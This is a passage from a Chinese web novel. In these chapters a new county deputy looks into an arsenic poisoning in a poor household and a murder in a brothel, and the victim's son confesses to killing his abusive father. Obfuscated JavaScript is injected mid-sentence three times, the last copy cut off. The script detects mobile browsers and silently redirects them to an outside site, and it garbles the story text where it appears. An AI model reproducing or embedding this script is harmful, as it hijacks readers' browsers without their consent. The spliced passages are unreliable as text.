应瑕把杯子放下,淡然说:“从明天开始你就是阳城县的县丞了。” 县丞是县令的副手,可是前两天新涂说阳城县人手严重不足,许多官职空缺,而本应兼职的主簿是个肩不能扛手不能提的文弱书生,于是这些活全都会落在未来的县丞头上。 倒也不是不能接受。 姚复放下杯子,对应瑕说:“你也不必如此替我谋划,哪有大丈夫靠着妻子平步青云的。” 应瑕再次拿起杯子吹了吹茶水,没说话。 4. 第4章 第二日早上姚复就被赶着去了县衙,县衙里头确实和新涂说的大差不差——荒凉破败暂且不提,人手不够一眼就能看出来。 俗话说新官上任三把火,新任职的官员总要在整个部门混个脸熟,免得造成麻烦,尤其是像姚复这般皇上钦点、征辟出来的,既有个若有若无的背景,便更须大排场,理应是县衙里所有官员都该来凑凑热闹的。 事实却是,偌大的公堂里只站了三个人——刚刚走进门的姚复,满脸生无可恋的年轻人,和一个须发皆白但长着一副伪善面相的老头子。根据新涂的描述,老的是县令,姓刘,叫啥不重要(新涂似乎没刻意打听,只说了这句话),年轻那个是主簿,叫司空谷,但姓司(新涂说他会一点玄里玄乎的法术)。 姚复先对着县令作了揖,谨慎地打招呼:“刘大人……?” 县令费劲的掀开叠了三层褶子的眼皮,用探究的目光打量他几眼,看的姚复冷汗直冒,不由用余光瞥向门口处偷看的新涂。 县令觉得姚复怎么也不像能跟皇帝有交集的人,可从门下省递过来的通知又做不得假,无论如何也只能捏着鼻子认了这个从天上掉下来的县丞。 “嗯。”县令捋着胡子,淡淡应声,就甩手走了。 司空谷见县令甩袖走人,认命般叹了口气,说:“这几年徭役繁重,城里没有多少人,你也就负责巡捕、监察、征税、祭祀、治安、司法……” 眼见着司空谷跟报菜名一样说出一长串字眼,姚复的眼是越瞪越大,猝然出口打断他:“不是,那你俩干什么?” 司空谷合上手里一直看着的小册子,抬起那张死人脸,说:“姓刘的当甩手掌柜十几年了……呵呵。” 他意味不明地笑了两声,不再往下说,也抬腿离开了,姚复看着他的背影,仿佛能看见盘踞在他身上的缕缕怨气。 “我说他身上那死人味怎么那么重呢。”姚复摸摸鼻子,心中暗骂刘县令不干人事。 可官大一级压死人,姓刘的好歹是正七品。 门口的新涂连连打了几个喷嚏,一边揉着鼻子往屋里走,一边朝着姚复抱怨:“这主簿上次也不这个样啊。现在整的跟怨鬼一样……” 姚复呵呵一笑:“呵呵……说不定你下次见到我也这个样了。” 新涂也不知道想到了什么,打了个寒战,随后岔开话题:“罢了罢了,咱们去城里看一圈吧。这阳城如今也只有几万人,你这官做的也清闲。” 这城里只有几万人,还大多是老弱妇孺,留下的男人大多有残疾,壮丁则都被征发了。前两年听说皇帝要讨伐匈奴,前几个月又说要给贵妃修一座宫殿,征发徭役也是越发频繁。这现象在启封并不明显,启封人都比较富裕,随便塞点钱也都过去了,贫民则都卖地卖房,把自家挂在别人名下,由主家交钱免役,过两年地契到期了再把地拿回来。 阳城竟是只剩了数万人。 丈夫背井离乡,妻子对月断肠。上位者不是不知人间疾苦,他只是视人命如草芥,不肯理会蝼蚁之悲。 “这也没什么好看的啊。”姚复沉声开口。 目之所及皆是残垣败土。 新涂站在一户人家的院子前,房门敞开着,那家的女人站在桌前,那桌上摆着几碟餐食,多是素菜,只有一个盘子里装着小块肉。她正把一包不知是什么的粉末倒在肉菜里。想必她家里也没男丁,难道是撑不下去了要毒杀亲子? 那女人也不顾忌门口站着的两个人,还冲着他们笑了一下。 姚复忐忑地向前走了两步,大声问:“这位娘子,我们能进来么?” 那女人直起腰,冷漠谢绝:“我家饭菜自己还不够吃嘞!你们就不要来了!” “不吃饭,就进来坐坐!”姚复再次喊道。 新涂使劲掐了一把他的胳膊,挤眉弄眼地质问:“你搞什么名堂!人家的家事……” 姚复转头压声问新涂:“你什么时候这么窝囊了?她要杀人!” 女人丢了药袋子,两只手局促地在裙子上胡乱擦了擦,似乎还想拒绝。这时一个佝偻着背的老太太被一个十五六岁的小姑娘搀扶着走过来,那老太太满脸皱纹往下耷拉着,看着就不像个善茬,坐下来就对着桌上的菜挑挑拣拣,时不时挑两句女人的刺,那小姑娘站在一边捏着裙摆,站也不是坐也不是。 女人低头和老太太说了几句话,老太扭头向姚复这边看来,随后冷哼一声,女人走了来,不情不愿地把他们二人请了进来。 姚复站在桌边,才看清桌上的菜——四盘菜,三盘野菜,一盘看不出是什么肉的肉菜。 “这是咱们县刚上任的县丞。”新涂言简意赅地说明姚复的身份,便不再说话,与平时话多到说不完的样子判若两人。 姚复来不及细想新涂的异常,本想直接问女人刚刚倒的药是什么,又觉得如此不妥,只好先拉近关系:“你……你女儿长的真漂亮,有婚约了否?” 话一出口姚复便懊恼起来,都怪他在启封城话说得多,这时嘴皮子竟不听使唤了。 女人眼睛一亮,用夹着方言的官话回答:“没呢,大人有婚约没?有了也不打紧,我女儿抬进去做个妾也是中的。” 老太太也抬头看向姚复,似乎已经想好了要多少聘礼。 “不……”姚复满脸欲哭无泪,“三品之上的大员才能纳妾……” 姚复在心里给了自己两个嘴巴子,这么一说更坐实了他看上人家姑娘的事实。 “新涂兄,你看看夫人还在家不……”姚复对新涂说。 新涂强忍着笑意,赶紧遁走去摇应瑕过来了。 新涂前脚刚走,女人便继续说:“不碍事的不碍事的,县令老爷就养了好几房小妾!要是您不愿意,叫我闺女做外室养在外面也成……” “哼,”老太太冷哼一声,“我孙女儿可是一等一的乖巧听话!老爷可得好好把握!” 什么玩意! “怕是我夫人不同意——”姚复扶额,再度回绝,并试图把话题引回饭菜,“不知道这菜夫人是怎么做的,闻起来:……” 话还没说完,老太婆就抬高了音量:“哪有女人不听丈夫话的!她不同意你就打!打到她同意为止!” 姚复大惊失色,后退半步:“这可不敢——夫人你快告诉我这菜里有什么罢,回头我叫我夫人也做……” 老太婆似乎不想放过他,颤颤巍巍站起身来,一步步往姚复的方向挪,一边厉声喝道:“今天你进了我家门,就必须娶我孙女——否则就叫你当不成官!” 女人默不作声地站在那去,小姑娘上去就往他腰上抱,弄的姚复满院子乱窜,还不敢夺门离开——那女人究竟要干什么还没弄清楚呢! …… 姚复一边躲避一边讲道理,四个人纠缠了约莫小半个时辰,救兵终于到了—— “姚兄!嫂子我给你带过来了!”新涂爽朗地一拍那摇摇欲坠的木板门,大声吼道,音量叫那木门又摇了一摇。 应瑕又是盛装出面的,估计新涂找到她的时候又没梳妆打扮,收拾好才出了门,否则以这两个人的脚力,赶到这里根本不需要这么久。 小姑娘吓得抖了抖,站在原地不敢动了,姚复借机赶紧跑到新涂身边,扶着应瑕的肩膀,把她推到身前,向那三个女人展示:“这是我夫人应氏——你们不要闹了,我来这里有正事的!” 应瑕的气场的确不容小觑,三个女人都不敢动了。 应瑕揉揉眉心,小声对姚复说:“我字珠英……” 《蜀都赋》说:“江珠瑕英。”,名中取了玉之瘢痕,字中自然要用宝珠鲜花弥补。 老太婆不敢再多嘴,只悻悻坐下,拿筷子去夹菜。 姚复再次问那女人:“你往菜里加了什么?” 老太婆放下筷子,瞥了女人一眼,但也没当众发作。女人知道他问的什么,撇撇嘴搪塞道:“盐罢了。” 可就这一句话,又把老太婆点炸了,当即摔了筷子站起身,指着儿媳的鼻子骂:“你这个败家子!盐多贵!不是只叫你往肉里放吗!我说今天的菜怎么这么咸!你要害死我呀!青天大老爷,快把她抓起来杖毙呀!我儿子还没吃几口,你就把那盐霍霍没了哇……” 情到深处她还一屁股坐在地上,箕踞而坐,没有半点礼法,活脱脱的市井无赖,一边拍大腿一边哭。 可惜在场没人吃她这一套。 这老太婆只吃了野菜,新涂给女人要了双筷子,把三盘素菜尝了个遍,故意恶心老太婆:“阿婆,这菜一点味道也没有,摆明了没盐哪。你这可不能上下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207074|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴皮子一碰就信口雌黄……” 老太婆张大嘴,哭也哭不出来了,干脆一拍大腿开始造谣:“这小贱人和你有一腿不是!你还袒护她!” “阿婆,这也没几个人,你演给谁看。”姚复蹙眉道。 启封这类事不算少,许多婆婆和媳妇不对付,就在跑到人多的地方闹,诉说儿媳的恶行,然后被自家儿子羞愤地领回去。类似的事情没少见,但没人还能演起来,这么不要脸的还是真少见。 这下老太婆真说不出话了,两眼一翻直接倒地。 应瑕打算蹲下身子探探口息,被姚复一把拉住:“不用管,晕了她自己会起来,死了直接裹席子埋了算了。” 应瑕颔首,转头看那盘肉菜。 “夫人,你说实话,哪有盐只往肉菜里放的。”姚复追问道。 女人反而说:“夫人,这肉菜是给俺丈夫吃的,你别肖想……你们有钱人也不是吃不起肉。” 应瑕的脸还是如同死水一般平静,她只是抬起那双没什么感情的眼,定定问:“肉哪来的。” 是啊,肉哪来的? 这家已经穷到只有野菜能吃了,肉是哪里来的? 家里也没有养猪牛羊鸡一类的禽畜,那么肉是什么肉? 城里寂静地过分,连雄鸡都找不见几只,肉是哪里来的? 街道上荒无人烟,连流浪的野猫野狗也没有,肉是哪里来的? 姚复起了一身鸡皮疙瘩,胃里一阵翻江倒海,好在他早上没吃什么东西,没有东西可供他吐出来。 女人见应瑕只是问这个,便笑着说:“哎呀,家里养的小羊崽子前些天死了,好歹养了几个月,肉也不够吃,便和西街那家刚死了小羊的换了换……” 她好像在说一件稀疏平常的事——这就是一件稀疏平常的事啊。 姚复感觉非常不妙,干脆拿袖子掩着唇,急匆匆出去了。应瑕看了一眼姚复离开的背影,淡然解释:“所谓‘君子远庖厨’,我丈夫也许想到了小羊被杀的景象,心生不忍罢了。” 女人微笑颔首。 新涂从袖子里掏出来几块碎银,说:“夫人,这也算补偿了,你家家事我们也不再掺和。” 女人接了银子,又招呼女儿过来,叫小姑娘把银子送走了。 姚复没走远,就在不远处的一个草丛边蹲着。 应瑕拍拍他的背,说:“乱世之中这是常事。你也不必如此介怀。” 谁能一下接受啊! 姚复白着脸站起身,说:“我觉得我很长一段时间都吃不下肉了……” 新涂煞有介事地点头,这冲击实在太大,任何一个刚从盛世灯火中走出来的正常人都受不了。 “哼。”应瑕哼笑一声。 她从长安到平阳再到阳城的路上早不知道看过多少这样的戏码了。 “没事就回去吃午饭。”应瑕也懒得去扶姚复,巧妙的转了个身,躲过了姚复往自己肩膀上搭的手,后者扑了个空,挂在了尚且显得正常的新涂身上。 入乡随俗,下人做的午饭也是三碟素菜一盘肉菜,据应瑕那个陪嫁丫鬟说花了大价钱跑了几里地才买到的新鲜白菜和鸡肉。至少不是野菜和羊肉。 鸡肉被推到了应瑕面前,后者面色如常地吃饭,就在姚复放下筷子时,说了一句:“那女人在饭里放的根本不是盐,是砒霜。对了,那盘白菜盐放少了。” 后半句是对掌勺的丫头说的,但姚复总觉得她意有所指,神情变幻莫测地放下筷子,饭也吃不下去了,出去也不知道干什么,只能坐在那等应瑕。 好在很快有人来解围了。 府里另一个丫鬟把门打开一条缝,通报一声:“公子,县里那个姓司空的主簿来了!” 姚复忙放下筷子,起身走到门口,比早上死人味更重的司空谷站在门口,有气无力的说:“姚县丞……死人了……你快去看看……” 勾魂一样,弄的姚复起了一身鸡皮疙瘩,随后重重关门。尽管那股逼人的寒气已经蔓延进屋里了。 应瑕放了筷子,疑惑地问了句:“你干什么亏心事了?大白天的鬼敲门。” “没什么,死人了。” 早上刚上任,中午被催吐,下午就来活,真是麻绳专挑细处断,厄运专找苦命人。 5. 第5章 司空谷带着姚复在城里七拐八拐走了好长时间,终于停在了一处矮墙前,那墙不高,最多到人胸口。 那一小段墙倒是跟周围的景色格格不入,墙上既没有丛生的野草,也并无掉漆露出斑驳的砖块,倒像是时常维葺,反而在这凄凉的城中多了两分生机。 “你带我来这儿干什么?”姚复看着面前的矮墙,疑惑发问。 这墙也就新了一点,并无其他特别的地方。 司空谷并没有回话,只是往前探了探身,稍稍丈量了一下高度,脚下猛然一使劲,从墙上翻了过去,人还在那边喊:“这地方没有门,须得翻墙进来。” 姚复嘴角抽了抽,直觉这不是什么好地方——这人也真会死,竟在这种地方长眠了。 随行的新涂见姚复没动,上前了一步,猝然从背后推了姚复一把,使整个人伏在院墙上,还不及发问,整个人就被一股巨力掀了进去。 “诶诶诶——”姚复一边试图找稳重心,一边大声吼:“新涂——你搞什么啊啊啊!” 所幸司空谷在底下扶了一把,姚复才不至于摔得难看。 新涂随即自己也翻进来了,嘴里还嘟嘟囔囔地回答:“你不赶紧进来,一直站在那做甚……” 翻墙上树的事姚复也不是没做过,只是被猝不及防推进来和自己翻进来感觉到底不一样。 “我也没说我不进来啊……”姚复小声反驳。 一抬眼却见前面的一颗柳树下站着十几个穿着清凉、浓妆艳抹的女子,正小心地观望他们。 姚复顿时感到头皮一炸——这竟是个妓院。 根据几百年前不知道哪个皇帝修的律法,女子做娼是不合法的。但总会因为各种原因有女子无法生存,又总有男人想偷腥,于是就催生了暗娼。 这种现象实际上已经极为普遍了,而官场又乱成这个样子,根本没人去查处,又因为连年苛政,许多女子无力养家,只得沦为娼妓。 姚复在衣摆下踢了踢新涂,说:“这事可不能让她知道……” 新涂自然也明白,二指并拢在唇上一抹,严肃地说:“天知地知你知我知他知,嫂子不知。” 姚复满意点头。虽说他和应瑕没有夫妻之实也没什么感情,但这事传到她耳朵里总归不好。况且姚复也不怎么想把自己的名声败坏。 司空谷在前面已经把大致情况跟姑娘们说清楚了,老鸨是个四十来岁的女人,脸上涂着厚厚的粉,大概得知了何事之后叹了口气,说:“公子们随我来吧。” 她也知道这年头什么都不好做,更何况自己做的非法的生意,来了几个查人命的官,说不准就把生意顺便查了。 “报案的是这的一个姑娘,叫红儿是吧?”司空谷向姚复阐释着案件经过,一边把报案人招呼过来。 红儿从老鸨身后探出头,向着他们福了福身,也不说话。 司空谷颔首,接着说:“死者解武,四十五岁,住南街,母亲刘氏,六十八岁,妻子庄氏,四十三岁,还有个儿子,叫解臻,二十一岁,未婚。女儿解斛珠,十五岁。我一个时辰之前去看了尸体,头部凹陷,明显是受到重物击打身亡……” 司空谷说了一半,猛然感到姚复奇怪的目光,不由得顿了一下问:“怎么了?” 姚复缩缩脖子,看了新涂一眼,新涂倒是坦然地多:“主簿,这才几个时辰,县衙人手又少,你怎么这么短时间把人信息都扒出来了?” 司空谷把目光挪回自己一直拿着的那个小本子,面不改色地说:“人大约是辰时死的,案是午时报上来的,现在马上申时。我管文书,全县户籍都在我那放着,一个时辰弄清楚也不困难。” “这年头的书生还得精通医术吗?”姚复小声问新涂,“他怎么连人什么时候死的,怎么死的都能看出来?” 新涂小声回复:“嗨,算出来的呗。我都说了他能掐会算的……” 司空谷指尖捏皱了纸张。老鸨把人带到一扇门前,把红儿留下后就匆匆离开了,嘴里还小声抱怨着:“晦气哦……” 司空谷拉开门,尸体还在那躺着——这地方没有门,运不走,只能先放着。 姚复和新涂的吸气声同时从背后传来,司空谷捏捏山根。 那解武死的真惨,额头凹进去了不说,身上还有十几个血窟窿,死者穿的褐色麻衣都快被浸成黑色了。凶手似乎对解武有很大怨气,光是让他死了还不解恨,偏要再扎十几刀泄愤。 两人走上前去,开始检查屋里的物件,红儿则是站在走廊上,怎么也不肯进去,本就敷了粉的脸更是惨白,依稀还有泪水浸泡过的痕迹。新涂进去时顺手关了门。 凶手倒没留下什么东西,凶器似乎是地上躺着的一只铜酒壶。那只酒壶十分有分量,底部的壶肚上还沾着血迹,此时已经凝成了暗红色。 附近还有一把小刀,貌似是行凶后随手丢下的。 “啧啧啧,”新涂对着被放回盘子里的凶器止不住咋舌,“这小玩意可有年头了吧。现在谁还用铜酒壶哇……” 当下大家饮酒都是用陶酒壶或者瓷酒壶,贫寒人家也会用木头的,这铜制的大多都是古董了。 姚复把门拉开,把脑袋伸出去,问红儿:“你们这儿的酒壶都是用铜的?” 红儿被骇了一下,又往墙上靠了靠,才结结巴巴地答:“酒壶……妾没见过铜的……我们这……我们这都、都用陶壶。” 姚复砰的关上门。 “这酒壶他自己带的吧。大概是他家传家宝?”姚复抚着下巴说。 新涂猛然笑了:“哈哈,姚兄,谁家传家宝不是供着,哪有人用来喝酒的。” 司空谷再次拎起那壶。 壶上长满了绿色的铜锈,根本看不出原本的澄黄色调,怎么看也不像经常用的。 “可能是凶手专门拿过来的。”司空谷看了两眼那壶底纹的字,可惜实在锈蚀严重,根本看不清。 那壶铸的别致,看着像是先秦物件。 “熟人作案罢。”姚复忽然说,“不然怎么能拿着酒壶堂而皇之进来,又作案的。” 这屋子里没有打砸的迹象,死者看着走的很安详,生前似乎也没挣扎过,看起来像是毫无防备受了致命一击。 姚复再次拉开门问红儿:“上午有什么人来过吗?” 红儿此时已经平复地差不多了,仔细回想了一下,说:“这位客人是卯时来的,让翠柳陪了一会儿……翠柳与我关系好,约莫辰时出来时,还对我抱怨,说那老男人抠搜……若不是为了混口饭吃,谁愿意做这行,大家原本都是良家妇女。过了一会儿,阿母叫我下楼去,我见有个小公子进了那房间。” “到了午时,他突然叫我过去……当时我没上妆,便磨蹭了一刻,再进去时,他就……就……” 红儿又掩面抽泣起来。 姚复拿舌尖顶了顶腮帮,又缩回房里。 “也就是说,从辰时到午时,凶手都在房间里。”司空谷抬起头。 也不知道那凶手和解武什么关系,还非得在妓院聚会。嫖友吗? “这老小子也真是,把人都赶出去了,这怎么往下查?”新涂不满的嘟哝了一句,“不如咱去问问那解武的家里人,他老婆孩子指定知道他平日与什么人来往。” 知道凶手估计也早跑了。 “一般人交好的也就邻里邻居了。”司空谷淡淡说,“解家周围不剩几户人家,还都没有男人,大多是孤儿寡母……” 总不能是女人作案,红儿分明说了是个小公子。姚复有些懊恼没问那小公子的特征。 “小公子……”姚复反复琢磨这几个字。 多小的小公子?总不可能是五六岁的小孩。 新涂也不知道想到了什么,突然问:“主簿,那个解武的儿子,解臻……” 姚复和司空谷几乎同时摇头。 解臻确实年轻,只是哪有亲儿子杀亲爹的,要说两个人还一起来嫖,也不太可能。 不过,只是不太可能,又不是不可能。 “他若是个残疾人……”姚复皱着眉说。 二十一岁,不服徭役,怎么看都是残疾。要说解武有老母要养不服徭役就算了,解臻可没有理由免役啊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207075|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他好好的。”司空谷淡定开口,“正常人,没有缺胳膊少腿,脑子也灵光。至少籍贯上记的是这样。前两年征兵时他家交了不少钱……他家原本小有资产,到了解武这里就没落了,交出去的似乎是最后的家底了。” 三人对视一眼。这解臻估计就是突破口了。 三人收拾收拾证物就风风火火地往院墙上跳,老鸨见着三个人跑这么急,在后面大喊:“恩客!现在就要走吗!我们这的姑娘——可是——顶——顶——好——” 一听这话姚复动作更快了。 在这边磨蹭的也够久,天都要黑了。 姚复使劲搡了司空谷一把:“带路带路,天都要黑了!” 新涂纳罕道:“你急什么,这又不是启封,你爹管不着你。你不会是觉得嫂子自己待在家害怕吧?” 姚复哑了火。 司空谷也不说话,只默然带路。 三个人在街上七拐八拐,然后终于拐到了…… ……姚复中午刚去过那家。 姚复站在门口,问司空谷:“没走错吗?” 新涂强忍着笑,司空谷依旧是满脸漠然:“没有。” 然后他敲了敲门,朝里面喊:“我们是县衙的官员——解武死了——我们来办案——” 解武的妻子拉开门,壮着胆子喊:“不是我杀的!跟我们没关系!” 姚复从没有觉得夜空如此沉默。 “你误会了——”姚复大喊,“我们来问问,解武有没有什么熟人!” 这院子也不大,没必要喊那么大声,还容易扰民。 天色昏黑,女人的脸看不太清,只听得她冷笑:“哼,那你该去问斜对门的王寡妇和她那个十三岁的儿子。” 听这话基本上能推断出解武跟那王寡妇有私情,只是十三岁的小孩怎么可能摸到妓院行凶。 新涂脾气急,也不会像姚复、司空谷一样旁敲侧击,干脆就直接问:“解臻在哪?” 女人重心不稳,狠狠砸在门框上,本就将要散架的木门发出沉闷的响声,女人却显得异常平静:“你们要带走我儿子的话,就把我女儿一起带走。我可不想让她也去做……” 男子是一个家庭最主要的劳动力,没了丈夫又没了儿子,她们母女会落到什么下场不言而喻。 但是把解斛珠带走又能做什么?把她丢在大牢里关一辈子?还是随便送到哪家做妾?现在稍有权势的家庭里,都是正妻门当户对,小妾貌若天仙。解斛珠长相也只是清秀,在与别人的争斗中居不了上风。 女人身后发出一声轻响,似乎是里屋哪扇门开了。 “娘,指控我杀人是要讲证据的……我跟他们走好了。”一道男声传来。 “那怎么行呢!”女人扭头看向里屋,驳斥道。 紧接着解臻出现在门口,他轻轻把女人扶起来,推进了里屋。不消片刻屋里就传来了两道的哭声。 “那老太婆呢?”姚复问新涂。 那两道声音很容易分辨,一个是庄氏,另一个是解斛珠。那白天那个老太太呢? 新涂的目光落在了院子里的槐树下。 姚复顺着他的目光看去,只见那树根处放着一张草席,几乎与夜色融为一体。 “这老太婆白天的时候还好好的……”新涂漫不经心地说。 “她加的不是盐……是砒霜……”应瑕的声音猛然在耳边炸响,姚复使劲拽了司空谷一把。 司空谷被拽的一个趔趄,顺着姚复的目光看过去,眼神变了一变,说:“先放着,天亮了验尸……不,先抬走。” 免得被埋了。 解臻慢慢走到司空谷面前,此人看着和他爹很不一样,倒是像个清秀书生。他察觉到姚复三人说的话题,倒是镇定自若,只说:“我父亲的尸体能运回来吗?总得安葬不是。” 姚复现在真是听不得这家人说关于尸体的事,表情变幻莫测,随后说:“算了吧……你家也不大,就埋在外面好了。” 免得这家人对尸体做什么丧心病狂的事。 好在解臻并没有计较,只是笑了笑。 6. 第6章 解臻也算是不打自招了,姚复一句话还没问,他倒把罪责认了个干净。 这家人的心理素质太差,杀了人也不懂掩饰,不过解臻此人倒是敢作敢当,并未做出畏罪潜逃一类的举动。 “算了算了,”姚复颇有些头疼地摆摆手,“明日再审吧。” 说罢他就转过身打算回家睡觉去,司空谷有些不满地皱起眉头,新涂则是小步上前,在他耳边问:“不是,你就把那解臻放在这儿?不怕他跑了?” 说到这里,姚复停下了脚步,不禁有些发愁。如今解臻算是归了案,可没有人手能押着他,他母妹难保不会让他趁着夜色潜逃出城。 这倒是个麻烦事。 姚复是不愿意夜不归宿守着这一家子过一晚上的,尽管他和应瑕没几分感情。他也不想为难司空谷和新涂,一个是文弱书生,禁不起折腾,另一个则是从小玩到大的兄弟,姚复做不出来让他干活的事。 “啧。”新涂见姚复这个神情,突然发声,“我来守夜吧,你回去跟嫂子共度良宵去。” 姚复大惊失色:“什么共度良宵!再者我还不知道你?叫你守夜没两个时辰就睡死了!” 新涂摸摸脑袋,有些尴尬地笑了一下,随后狡辩道:“这不说明我身体好?说睡就睡……” “去去去。我守夜好了……”姚复拨开新涂,又转身走回门口。 恰在此时,前面的大路上亮起两盏小灯,也不知是什么人。 新涂眯着眼仔细看了看,似乎是两个女孩,可惜也只是面熟,一时想不起来是谁。 “姚公子——”左边那嫩青衣裳的姑娘喊道。 姚复疑惑地回过头。 “夫人叫您赶紧回去哩——还特意差了我们来找你——”右边那鹅黄衣的姑娘接着喊。 好像是应瑕那两个陪嫁丫鬟。目前全府上下就这两个人能用。 “哦,小黄小绿啊。”姚复跟那两个姑娘招招手打了个招呼,便喊道,“你们回去跟夫人说一声,我今晚不回去。有劳!” 两个姑娘脸都歪了:“我叫嫩杨/银杏!夫人让您马上回去呢,您不回去我们不好交差!” 姑娘们打着灯笼走近了一些,好照清楚姚复在哪。 姚复侧身想挡住门里的景象,奈何他也没长到门框宽,对着的还是两个身形娇小的丫头,不由有些力不从心。 嫩杨眼神较好,一眼见着了还在堂屋门口处的解夫人,尤其是对方见着儿子下去后不知何时弄的头发凌乱眼眶通红,跟索命的女鬼一样。小姑娘藏不住事,立时惊呼一声,手里的灯笼抖了两抖,险些落了地。翠柳换了个戏谑的眼神看向银杏。 银杏嘴快,上来就是一句:“我家姑娘过门还没几日呢,公子就出去会情人了?” 姚复一把把两个姑娘推了出去,解释道:“瞎说什么,她那年龄比我和应瑕加起来都大。” 两个小丫头也不过十五六,实在不怎么适合看里头那女人的尊容和角落里的尸身。 嫩杨不屑地嘁了一声,银杏也瘪起嘴:“不让看就不让看了,凶什么。快点跟我们回去了,待会儿夫人要急的。” 应瑕平常看着就冷冰冰的,生气起来怕能冻死人。 姚复眼珠子一转,一手抓着个小姑娘,一左一右插在大门口,活似两尊门神。 嫩杨和银杏都是一脸莫名其妙地看着姚复,后者后退两步,上下观摩两眼,摸着下巴满意点头。 然后对司空谷和新涂说:“好了,不麻烦你俩了,回去睡吧。” 司空谷倒没啥芥蒂,飘飘忽忽走了,新涂则是一边走一边回头嘱托:“早点回去哈,我给你留门。” 新涂家境不比姚复,来时也没置办房产,便被安排在了姚复那大宅子的偏院里。 “害,我跟你一起走。”姚复大步追上新涂,拍拍他的肩膀。 新涂犹疑地转头看向那解家院子——姚复要走了就没人照看了。 姚复微微一笑,勾着新涂的肩膀,扭头就对那两个姑娘说:“看好这家人!今晚上一只苍蝇都不准从里头飞出来!我可知道你们俩昨天溜进膳房吃了一整只炖鸡,看不好了我向你家姑娘告状去。” “真是的,吃的喝的也没短着你们,一个比一个白胖,还吃。”姚复又小声咕哝了两句。 好一个反客为主哇。 新涂在心里赞叹。 偏生嫩杨、银杏两个小丫头也不敢多说什么,早知道姚复是有正事要办,谁爱来打搅他!还不如早早回家跟夫人说公子不回来呢! “这下倒好!还要替他干活!”银杏不满地看了翠柳一眼。 嫩杨有些委屈地鼓起腮帮子:“谁知道他真有正事儿呢。我这不也是担心……” 姚复花名在外,传的整个启封城都是,应家家主嫁女儿之前也曾经派人打探过,也不知怎么着就把女儿嫁了人。 “罢罢罢!”银杏摆摆手,“现在说这些还有什么用!老实站岗吧!” 身兼多职从来不是什么好事。 姚复难得起了个大早,连应瑕问他要两个丫头都没听,匆匆找了套衣服穿了鞋就跑出去审犯人了,留应瑕一个在后面喊:“少干那些吃力不讨好的活头!” 两个姑娘不知道什么时候歪歪扭扭坐在门口睡着了,姚复心瞬间掉下去半截。 他揣着一颗半凉的心,小心翼翼地把头伸进去看了两眼——所幸一切正常。 司空谷昨天说要搬走的那老太婆的尸体还好端端躺在院子里,地上也没什么脚印,那解臻甚至趴在一边的石桌上睡的安稳。 姚复把心装回肚子里,屈起二指敲了敲木质门框。 这门框也不知道什么材质,敲一下声音也不算小,甚至还有沉闷的余音。 “哗啦”一下,堂屋的门被拉开了,那女人装扮的却是喜气洋洋,不仅脸上化了妆容,衣服的料子看着也很新,也许是前些日子刚做的,也许就是昨晚才赶制的。那解斛珠也从母亲背后探出头,也是打扮的漂漂亮亮,与这个年纪的女孩子如出一辙。 方才敲门倒没惊醒解臻,他母亲这一拉门倒把他惊醒了。 解臻迷迷糊糊地从桌上爬起来,又揉揉眼睛,最终定了定神看向姚复,唇角勉强牵起一丝自嘲的笑,随后拍拍桌子,说:“姚大人来了?坐。” 姚复也是个年轻人,用不惯那些酷吏不近人情的招式,也不肯叫犯人屈打成招,犹豫了一瞬便撩起衣摆坐在了解臻对面的石凳上。那女人倒是如临大敌。 姚复坐下才发现解臻脚边躺了一只酒壶。 “人是我杀的。”解臻淡然说。 似乎是刚刚醒酒脑袋还有些昏沉,他便拿一只手撑着头。 姚复盯着地上那只酒杯,问:“为什么弑父?” “我知道这有违天理伦常……”解臻揉揉太阳穴,试图缓解脑袋里尖锐的刺痛,“但他不孝不悌不仁不义,就不能怪我无情了。” 姚复听了这话,不由一愣,旋即把目光移回解臻脸上:“何谓?” 解臻似笑非笑地看了看角落里那具冷冰冰的尸体,说:“殴打母亲,是不孝;不敬兄弟,是不悌;蔑视儿女,是不仁;欺骗朋友,是不义。他还强迫民女,逼良为娼!那头的王寡妇,西街的白夫人,还有我……他还想把斛珠卖掉!从前他还打死过人,都被我爷爷拿钱平了。他这种人真是罪不容诛啊。” 也能看出来个七七八八,那老太婆一脸凶相,她儿子能好到哪里去,只是歹竹生出了好笋。 姚复忽然觉得一股寒意从脚底直冲上天灵盖,解臻扬起一个堪称阴狠的微笑后,这种感觉达到了顶峰。 他深吸一口气,等着解臻继续往下说。 “所以我拿出了那尊祖传的酒壶——那东西够沉,去了他寻欢作乐的那家妓院,请他跟我喝一杯,好趁机砸死他。我怕得不了手,还弄来一点砒霜,专放在肉菜里,他只吃肉菜。” “如你所见,肉菜那老太婆偷吃了。” 解臻无所谓地一摊手,仿佛只是在说一棵秋日枯死的草。 “我很好奇——”姚复也扬起一个笑,“你跟他说了什么?” “哈。”解臻眼里充满嘲讽之色,“我说,我把斛珠卖了,赚了一大笔钱,今天是个好日子,得用祖传的壶喝酒——” “就这样了,”解臻笑笑说,“要杀要剐,悉听尊便。” “这个我可做不了主。”姚复坐直了一些,收敛起脸上的笑,“一切得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 